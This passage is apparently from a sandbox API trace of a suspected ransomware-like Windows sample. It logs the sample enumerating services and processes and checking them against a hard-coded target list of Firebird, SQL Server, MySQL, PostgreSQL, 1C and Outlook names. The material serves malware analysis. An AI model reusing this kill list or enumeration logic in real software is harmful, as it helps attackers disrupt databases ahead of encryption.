lpString2="BFE") returned 1 [0169.711] lstrlenW (lpString="CryptSvc") returned 8 [0169.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0169.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0169.711] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0169.711] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0169.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0169.711] lstrlenW (lpString="CscService") returned 10 [0169.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0169.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0169.711] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0169.711] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0169.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0169.711] lstrlenW (lpString="DcomLaunch") returned 10 [0169.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0169.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0169.711] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0169.711] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0169.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0169.711] lstrlenW (lpString="Dhcp") returned 4 [0169.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0169.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0169.711] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0169.712] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0169.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0169.712] lstrlenW (lpString="Dnscache") returned 8 [0169.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0169.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0169.712] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0169.712] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0169.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0169.712] lstrlenW (lpString="DPS") returned 3 [0169.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0169.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0169.712] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0169.712] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0169.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0169.712] lstrlenW (lpString="eventlog") returned 8 [0169.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0169.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0169.712] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0169.712] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0169.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0169.712] lstrlenW (lpString="EventSystem") returned 11 [0169.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0169.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0169.712] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0169.712] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0169.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0169.713] lstrlenW (lpString="gpsvc") returned 5 [0169.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0169.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0169.713] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0169.713] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0169.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0169.713] lstrlenW (lpString="iphlpsvc") returned 8 [0169.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0169.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0169.713] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0169.713] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0169.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0169.713] lstrlenW (lpString="LanmanServer") returned 12 [0169.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0169.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0169.714] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0169.714] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0169.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0169.714] lstrlenW (lpString="LanmanWorkstation") returned 17 [0169.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0169.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0169.714] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0169.714] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0169.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0169.714] lstrlenW (lpString="lmhosts") returned 7 [0169.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0169.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0169.714] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0169.714] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0169.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0169.714] lstrlenW (lpString="MMCSS") returned 5 [0169.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0169.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0169.714] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0169.714] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0169.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0169.714] lstrlenW (lpString="MpsSvc") returned 6 [0169.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0169.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0169.714] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0169.714] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0169.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0169.714] lstrlenW (lpString="Netman") returned 6 [0169.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0169.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0169.715] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0169.715] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0169.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0169.715] lstrlenW (lpString="netprofm") returned 8 [0169.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0169.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0169.715] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0169.715] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0169.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0169.715] lstrlenW (lpString="NlaSvc") returned 6 [0169.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0169.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0169.715] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0169.715] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0169.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0169.715] lstrlenW (lpString="nsi") returned 3 [0169.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0169.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0169.715] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0169.715] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0169.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0169.715] lstrlenW (lpString="PcaSvc") returned 6 [0169.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0169.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0169.715] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0169.715] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0169.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0169.716] lstrlenW (lpString="PlugPlay") returned 8 [0169.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0169.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0169.716] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0169.716] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0169.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0169.716] lstrlenW (lpString="Power") returned 5 [0169.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0169.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0169.716] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0169.716] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0169.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0169.716] lstrlenW (lpString="ProfSvc") returned 7 [0169.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0169.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0169.716] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0169.716] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0169.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0169.716] lstrlenW (lpString="RpcEptMapper") returned 12 [0169.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0169.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0169.716] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0169.716] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0169.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0169.716] lstrlenW (lpString="RpcSs") returned 5 [0169.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0169.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0169.716] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0169.717] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0169.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0169.717] lstrlenW (lpString="SamSs") returned 5 [0169.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0169.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0169.717] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0169.717] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0169.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0169.717] lstrlenW (lpString="Schedule") returned 8 [0169.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0169.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0169.717] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0169.717] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0169.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0169.717] lstrlenW (lpString="SENS") returned 4 [0169.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0169.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0169.717] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0169.717] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0169.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0169.717] lstrlenW (lpString="ShellHWDetection") returned 16 [0169.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0169.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0169.717] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0169.717] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0169.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0169.717] lstrlenW (lpString="Spooler") returned 7 [0169.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0169.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0169.717] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0169.717] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0169.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0169.717] lstrlenW (lpString="SysMain") returned 7 [0169.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0169.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0169.718] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0169.718] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0169.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0169.718] lstrlenW (lpString="Themes") returned 6 [0169.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0169.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0169.718] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0169.718] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0169.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0169.718] lstrlenW (lpString="TrkWks") returned 6 [0169.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0169.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0169.718] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0169.718] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0169.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0169.718] lstrlenW (lpString="UxSms") returned 5 [0169.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0169.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0169.718] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0169.718] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0169.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0169.718] lstrlenW (lpString="WdiServiceHost") returned 14 [0169.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0169.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0169.718] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0169.718] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0169.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0169.718] lstrlenW (lpString="WdiSystemHost") returned 13 [0169.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0169.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0169.718] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0169.718] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0169.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0169.718] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0169.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0169.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0169.719] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0169.719] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0169.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0169.719] lstrlenW (lpString="Winmgmt") returned 7 [0169.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0169.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0169.719] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0169.719] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0169.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0169.719] lstrlenW (lpString="WPDBusEnum") returned 10 [0169.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0169.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0169.719] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0169.719] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0169.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0169.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x663530 | out: hHeap=0x570000) returned 1 [0169.719] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ec [0169.721] Process32FirstW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.722] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0169.722] lstrlenW (lpString="System") returned 6 [0169.722] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0169.722] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0169.722] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0169.722] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0169.722] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0169.722] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0169.722] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0169.722] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0169.723] lstrlenW (lpString="smss.exe") returned 8 [0169.723] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0169.723] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0169.723] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0169.723] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0169.723] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0169.723] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0169.723] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0169.723] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.723] lstrlenW (lpString="csrss.exe") returned 9 [0169.723] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0169.723] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0169.723] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0169.723] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0169.723] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0169.723] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0169.723] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0169.723] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0169.724] lstrlenW (lpString="wininit.exe") returned 11 [0169.724] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0169.724] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0169.724] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0169.724] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0169.724] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0169.724] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0169.724] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0169.724] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.724] lstrlenW (lpString="csrss.exe") returned 9 [0169.724] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0169.724] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0169.724] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0169.724] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0169.724] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0169.725] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0169.725] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0169.725] lstrlenW (lpString="winlogon.exe") returned 12 [0169.725] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0169.725] lstrlenW (lpString="services.exe") returned 12 [0169.725] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0169.726] lstrlenW (lpString="lsass.exe") returned 9 [0169.726] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0169.726] lstrlenW (lpString="lsm.exe") returned 7 [0169.726] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.727] lstrlenW (lpString="svchost.exe") returned 11 [0169.727] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.727] lstrlenW (lpString="svchost.exe") returned 11 [0169.727] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.727] lstrlenW (lpString="svchost.exe") returned 11 [0169.727] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.728] lstrlenW (lpString="svchost.exe") returned 11 [0169.728] Process32NextW (in: hSnapshot=0x1ec, lppe=0x1e8fd34 | out: 